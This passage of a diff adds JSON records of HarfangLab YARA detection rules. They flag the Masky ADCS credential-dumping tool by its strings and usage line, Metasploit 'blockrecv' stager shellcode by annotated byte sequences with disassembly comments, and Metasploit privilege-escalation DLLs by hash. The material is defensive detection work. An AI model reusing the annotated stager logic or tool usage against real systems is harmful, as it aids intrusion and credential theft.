+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-masky_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.585415Z",
+  "creation_date": "2026-03-23T11:46:25.585417Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.585423Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/Z4kSec/Masky\nhttps://z4ksec.github.io/posts/masky-release-v0.0.3/"
+  ],
+  "name": "masky.yar",
+  "content": "rule masky {\n    meta:\n        title = \"Masky Tool\"\n        id = \"41443de7-8275-4543-b6d1-6282fcfea1df\"\n        description = \"Detects the use of Masky, a tool designed to exploit Active Directory Certificate Services (ADCS) misconfigurations to remotely dump domain users' credentials.\\nMasky works by impersonating users and extracting certificates from the ADCS server. The tool can be executed with specific parameters to target different users and output credentials to files.\\nIt is recommended to investigate the execution context as well as surrounding detections to determine if the usage of this tool is legitimate.\"\n        references = \"https://github.com/Z4kSec/Masky\\nhttps://z4ksec.github.io/posts/masky-release-v0.0.3/\"\n        date = \"2022-09-12\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.credential_access;attack.t1003\"\n        classification = \"Windows.Tool.Masky\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // e6993fbffaaf284abf6ddf209578ded243cdf961f757681debe9f12a45fa88bc\n\n        $s1 = \"./Masky_results.txt\" fullword wide\n        $s2 = \"./Masky_debug.txt\" fullword wide\n        $s3 = \".\\\\Masky.exe /ca:'CA SERVER\\\\CA NAME' (/template:User) (/currentUser) (/output:./output.txt) (/debug:./debug.txt)\" fullword wide\n        $s4 = \"[*] Successful impersonation of: \" fullword wide\n        $s5 = \"[-] Please provide the parameter /ca:'CA server\\\\CA name'\" fullword wide\n        $s6 = \"[+] Gathered certificate related to: '{0}'\" fullword wide\n        $s7 = \"Empty Certificate for the user '{0}'\" fullword wide\n\n    condition:\n        uint16(0) == 0x5a4d and filesize < 600KB and 5 of ($s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "masky"
+  ],
+  "rule_creation_date": "2022-09-12",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Tool.Masky"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-meatsploit_shellcode_blockrecv_007a620c4755_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.579056Z",
+  "creation_date": "2026-03-23T11:46:25.579059Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.579068Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/rapid7/metasploit-framework"
+  ],
+  "name": "meatsploit_shellcode_blockrecv_007a620c4755.yar",
+  "content": "rule meatsploit_shellcode_blockrecv_007a620c4755 {\n    meta:\n        title = \"Metasploit blockrecv Shellcode (007a620c4755)\"\n        id = \"623307b8-816b-429d-bd32-007a620c4755\"\n        description = \"Detects Metasploit's blockrecv shellcode in x64 processes.\\nThe shellcode intercepts and blocks recv() calls until a payload is ready to be injected.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/rapid7/metasploit-framework\"\n        date = \"2021-09-03\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.t1055.002\"\n        classification = \"Windows.Framework.Metasploit\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $shellcode = {\n            48 83 EC 10        // sub rsp, 0x10\n            48 89 E2           // mov rdx, rsp\n            4D 31 C9           // xor r9, r9\n            6A 04              // push 4\n            41 58              // pop r8\n            48 89 F9           // mov rcx, rdi         // socket\n            41 BA 02 D9 C8 5F  // mov r10d, 0x5FC8D902 // recv\n            FF D5              // call rbp             // recv(s, &dwLength, 4, 0);\n            [0-10]             // possible \"reliable\" safe check if enabled on Metasploit.\n            48 83 C4 20        // add rsp, 0x20\n            5E                 // pop rsi\n            89 F6              // mov esi, esi\n            6A 40              // push 0x40            // PAGE_EXECUTE_READWRITE\n            41 59              // pop r9               // r9 = PAGE_EXECUTE_READWRITE\n            68 00 10 00 00     // push 0x1000          // MEM_COMMIT\n            41 58              // pop r8               // r8 = MEM_COMMIT\n            48 89 F2           // mov rdx, rsi         // dwLength\n            48 31 C9           // xor rcx, rcx         // NULL\n            41 BA 58 A4 53 E5  // mov r10d, 0xE553A458 // VirtualAlloc\n            FF D5              // call rbp             // VirtualAlloc(NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE);\n            48 89 C3           // mov rbx, rax\n            49 89 C7           // mov r15, rax\n                               // read_more:\n            4D 31 C9           // xor r9, r9\n            49 89 F0           // mov r8, rsi\n            48 89 DA           // mov rdx, rbx\n            48 89 F9           // mov rcx, rdi         // socket\n            41 BA 02 D9 C8 5F  // mov r10d, 0x5FC8D902 // recv\n            FF D5              // call rbp             // recv(s, buffer, length, 0);\n            [0-50]             // possible \"reliable\" clean up stub if enabled on Metasploit.\n            48 01 C3           // add rbx, rax\n            48 29 C6           // sub rsi, rax\n            48 85 F6           // test rsi, rsi\n            75 E1              // jne read_more\n            41 FF E7           // jmp r15\n        }\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "meatsploit_shellcode_blockrecv_007a620c4755"
+  ],
+  "rule_creation_date": "2021-09-03",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Metasploit"
+  ],
+  "rule_tactic_tags": [],
+  "rule_technique_tags": [
+    "attack.t1055.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-meatsploit_shellcode_blockrecv_caae49326009_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.575534Z",
+  "creation_date": "2026-03-23T11:46:25.575536Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.575541Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/rapid7/metasploit-framework"
+  ],
+  "name": "meatsploit_shellcode_blockrecv_caae49326009.yar",
+  "content": "rule meatsploit_shellcode_blockrecv_caae49326009 {\n    meta:\n        title = \"Metasploit blockrecv Shellcode (caae49326009)\"\n        id = \"a32fd300-e61b-451e-8486-caae49326009\"\n        description = \"Detects Metasploit's blockrecv shellcode in x86 processes.\\nThe shellcode intercepts and blocks recv() calls until a payload is ready to be injected.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/rapid7/metasploit-framework\"\n        date = \"2021-09-02\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.t1055.002\"\n        classification = \"Windows.Framework.Metasploit\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $shellcode = {\n            6A 00            // push 0x00\n            6A 04            // push 0x04\n            56               // push esi\n            57               // push edi                 // socket\n            68 02 D9 C8 5F   // push 0x5FC8D902          // recv\n            FF D5            // call ebp                 // recv(s, &dwLength, 4, 0);\n            [0-10]           // possible \"reliable\" safe check if enabled on Metasploit.\n            8B 36            // mov esi, dword ptr [esi]\n            6A 40            // push 0x40                // PAGE_EXECUTE_READWRITE\n            68 00 10 00 00   // push 0x1000              // MEM_COMMIT\n            56               // push esi                 // dwLength\n            6A 00            // push 0x00                // NULL\n            68 58 A4 53 E5   // push 0xE553A458          // VirtualAlloc\n            FF D5            // call ebp                 // VirtualAlloc(NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE);\n            93               // xchg eax, ebx\n            53               // push ebx\n                             // read_more:\n            6A 00            // push 0x00\n            56               // push esi\n            53               // push ebx\n            57               // push edi                 // socket\n            68 02 D9 C8 5F   // push 0x5FC8D902          // recv\n            FF D5            // call ebp                 // recv(s, buffer, length, 0);\n            [0-50]           // possible \"reliable\" clean up stub if enabled on Metasploit.\n            01 C3            // add ebx, eax\n            29 C6            // sub esi, eax\n            75 EE            // jne read_more\n            C3               // ret\n        }\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "meatsploit_shellcode_blockrecv_caae49326009"
+  ],
+  "rule_creation_date": "2021-09-02",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Metasploit"
+  ],
+  "rule_tactic_tags": [],
+  "rule_technique_tags": [
+    "attack.t1055.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-meatsploit_shellcode_blockrecv_rc4_13fbe65bba53_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.569617Z",
+  "creation_date": "2026-03-23T11:46:25.569619Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.569625Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/rapid7/metasploit-framework"
+  ],
+  "name": "meatsploit_shellcode_blockrecv_rc4_13fbe65bba53.yar",
+  "content": "rule meatsploit_shellcode_blockrecv_rc4_13fbe65bba53 {\n    meta:\n        title = \"Metasploit blockrecv RC4 Shellcode (13fbe65bba53)\"\n        id = \"0332e5f8-3820-4138-a2b8-13fbe65bba53\"\n        description = \"Detects Metasploit's blockrecv RC4 shellcode in x86 processes.\\nThe shellcode decrypts data using RC4 cipher and blocks recv() calls until a payload is ready.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/rapid7/metasploit-framework\"\n        date = \"2021-09-03\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.t1055.002\"\n        classification = \"Windows.Framework.Metasploit\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $shellcode = {\n            6A 00                   // push 0\n            6A 04                   // push 4\n            56                      // push esi\n            57                      // push edi                 // socket\n            68 02 D9 C8 5F          // push 0x5FC8D902          // recv\n            FF D5                   // call ebp                 // recv(s, &dwLength, 4, 0);\n            [0-10]                  // possible \"reliable\" safe check if enabled on Metasploit.\n            8B 36                   // mov esi, dword ptr [esi]\n            81 F6 58 4F 52 4B       // xor esi, 0x4B524F58      // \"XORK\"\n            8D 0E                   // lea ecx, [esi]\n            6A 40                   // push 0x40                // PAGE_EXECUTE_READWRITE\n            68 00 10 00 00          // push 0x1000              // MEM_COMMIT\n            51                      // push ecx                 // dwLength\n            6A 00                   // push 0                   // NULL\n            68 58 A4 53 E5          // push 0xE553A458          // VirtualAlloc\n            FF D5                   // call ebp                 // VirtualAlloc(NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE);\n            8D 98 00 01 00 00       // lea ebx, [eax + 0x100]\n            53                      // push ebx\n            56                      // push esi\n            50                      // push eax\n            6A 00                   // push 0\n            56                      // push esi                 // length\n            53                      // push ebx                 // buffer\n            57                      // push edi                 // socket\n            68 02 D9 C8 5F          // push 0x5FC8D902          // recv\n            FF D5                   // call ebp                 // recv(s, buffer, length, 0);\n            [0-50]                  // possible \"reliable\" clean up stub if enabled on Metasploit.\n            01 C3                   // add ebx, eax\n            29 C6                   // sub esi, eax\n            75 EE                   // jne 0x31\n            5B                      // pop ebx\n            59                      // pop ecx\n            5D                      // pop ebp\n            55                      // push ebp\n            57                      // push edi\n            89 DF                   // mov edi, ebx\n            E8 10 00 00 00          // call 0x5f\n            [16]                    // RC4 key\n                                    // RC4 library start\n                                    // rc4_init:\n            5E                      // pop esi\n            31 C0                   // xor eax, eax\n            AA                      // stosb byte ptr es:[edi], al\n            FE C0                   // inc al\n            75 FB                   // jne rc4_init\n            81 EF 00 01 00 00       // sub edi, 0x100\n            31 DB                   // xor ebx, ebx\n            02 1C 07                // add bl, byte ptr [edi + eax]\n            89 C2                   // mov edx, eax\n            80 E2 0F                // and dl, 0xf\n                                    // rc4_permute:\n            02 1C 16                // add bl, byte ptr [esi + edx]\n            8A 14 07                // mov dl, byte ptr [edi + eax]\n            86 14 1F                // xchg byte ptr [edi + ebx], dl\n            88 14 07                // mov byte ptr [edi + eax], dl\n            FE C0                   // inc al\n            75 E8                   // jne rc4_permute\n            31 DB                   // xor ebx, ebx\n                                    // rc4_decrypt:\n            FE C0                   // inc al\n            02 1C 07                // add bl, byte ptr [edi + eax]\n            8A 14 07                // mov dl, byte ptr [edi + eax]\n            86 14 1F                // xchg byte ptr [edi + ebx], dl\n            88 14 07                // mov byte ptr [edi + eax], dl\n            02 14 1F                // add dl, byte ptr [edi + ebx]\n            8A 14 17                // mov dl, byte ptr [edi + edx]\n            30 55 00                // xor byte ptr [ebp], dl\n            45                      // inc ebp\n            49                      // dec ecx\n            75 E5                   // jne rc4_permute\n                                    // RC4 library end\n            5F                      // pop edi\n            C3                      // ret\n        }\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "meatsploit_shellcode_blockrecv_rc4_13fbe65bba53"
+  ],
+  "rule_creation_date": "2021-09-03",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Metasploit"
+  ],
+  "rule_tactic_tags": [],
+  "rule_technique_tags": [
+    "attack.t1055.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-metasploit_cve_2015_1701_a584df914226_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.578459Z",
+  "creation_date": "2026-03-23T11:46:25.578461Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.578467Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/rapid7/metasploit-framework"
+  ],
+  "name": "metasploit_cve_2015_1701_a584df914226.yar",
+  "content": "import \"hash\"\n\nrule metasploit_cve_2015_1701_a584df914226 {\n    meta:\n        title = \"Metasploit CVE-2015-1701 (a584df914226)\"\n        id = \"4fad6edd-a5f4-41dd-908e-a584df914226\"\n        description = \"Detects the Metasploit CVE-2015-1701 x64 DLL, which exploits a vulnerability in Windows Win32k.sys to gain elevated privileges.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/rapid7/metasploit-framework\"\n        date = \"2020-11-13\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.privilege_escalation;attack.t1068\"\n        classification = \"Windows.Framework.Metasploit\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x64\"\n        score = 100\n        confidence = \"strong\"\n\n    condition:\n        (filesize == 86016 and hash.sha256(0, filesize) == \"9272edfe8ee184f1b4308e866ad66326552ddae02d37b9bd4dbb1167c9aadcf1\") or\n        (filesize == 131072 and hash.sha256(0, filesize) == \"8f09586dc28ea861bf436e07a4cbf6b361aafe0cb83aed7289be5d6b49726c3c\") or\n        (filesize == 84992 and hash.sha256(0, filesize) == \"e8950dfc957d2323f55944075134ff945bb8c467e48c1b4b7c86725b09460da2\")\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "metasploit_cve_2015_1701_a584df914226"
+  ],
+  "rule_creation_date": "2020-11-13",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Metasploit"
+  ],
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-metasploit_cve_2015_1701_bad66166c82e_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.578784Z",
+  "creation_date": "2026-03-23T11:46:25.578786Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.578791Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/rapid7/metasploit-framework"
+  ],
+  "name": "metasploit_cve_2015_1701_bad66166c82e.yar",
+  "content": "import \"hash\"\n\nrule metasploit_cve_2015_1701_bad66166c82e {\n    meta:\n        title = \"Metasploit CVE-2015-1701 (bad66166c82e)\"\n        id = \"6329c287-c6a6-4d5d-a6d1-bad66166c82e\"\n        description = \"Detects the Metasploit CVE-2015-1701 x86 DLL, which exploits a vulnerability in Windows Win32k.sys to gain elevated privileges.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/rapid7/metasploit-framework\"\n        date = \"2020-11-13\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.privilege_escalation;attack.t1068\"\n        classification = \"Windows.Framework.Metasploit\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    condition:\n        (filesize == 72192 and hash.sha256(0, filesize) == \"c3b6f81b25c7315d9a856dbc0ed1b129b2e0b39553fbd8a50a4145de6aa8ed42\") or\n        (filesize == 73728 and hash.sha256(0, filesize) == \"f194e27fbae17226b9968c306d55f7a2b479161bfa68e3e748fc53a080f21fa9\") or\n        (filesize == 131072 and hash.sha256(0, filesize) == \"b77421a5d1d52d1f2189b67a03f27a21853e180a319997f66af299becd730484\")\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "metasploit_cve_2015_1701_bad66166c82e"
+  ],
+  "rule_creation_date": "2020-11-13",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Metasploit"
+  ],
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-metasploit_cve_2016_0040_4f40010e4fcf_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.578430Z",
+  "creation_date": "2026-03-23T11:46:25.578432Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.578438Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/rapid7/metasploit-framework"
+  ],
+  "name": "metasploit_cve_2016_0040_4f40010e4fcf.yar",
+  "content": "import \"hash\"\n\nrule metasploit_cve_2016_0040_4f40010e4fcf {\n    meta:\n        title = \"Metasploit CVE-2016-0040 (4f40010e4fcf)\"\n        id = \"75e8cae2-669d-49dc-a1cf-4f40010e4fcf\"\n        description = \"Detects the Metasploit CVE-2016-0040 x64 DLL, which exploits a vulnerability in Windows' WebDAV client to elevate privileges.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity. If possible, isolating the infected host during the investigation can help mitigate the risk of malicious activity.\"\n        references = \"https://github.com/rapid7/metasploit-framework\"\n        date = \"2020-11-13\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.privilege_escalation;attack.t1068\"\n        classification = \"Windows.Framework.Metasploit\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x64\"\n        score = 100\n        confidence = \"strong\"\n\n    condition:\n        (filesize == 86016 and hash.sha256(0, filesize) == \"5327bfd555a8de5a423e15c41b9afa645d360f03b185dd93cf8bfcb346b578f0\") or\n        (filesize == 131072 and hash.sha256(0, filesize) == \"a0b2d3282c881a61d588805d71884578afeed218ea60a4ba7b32e69cbaf73c7c\") or\n        (filesize == 85504 and hash.sha256(0, filesize) == \"f04204efd259771ddc0d09c5c7be5a8b531281645b4ac113894c1000ea7802b1\")\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "metasploit_cve_2016_0040_4f40010e4fcf"
+  ],
+  "rule_creation_date": "2020-11-13",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Metasploit"
+  ],
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-metasploit_cve_2016_0051_0b5609cd67cd_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.575594Z",
+  "creation_date": "2026-03-23T11:46:25.575596Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.575601Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/rapid7/metasploit-framework"
+  ],
+  "name": "metasploit_cve_2016_0051_0b5609cd67cd.yar",
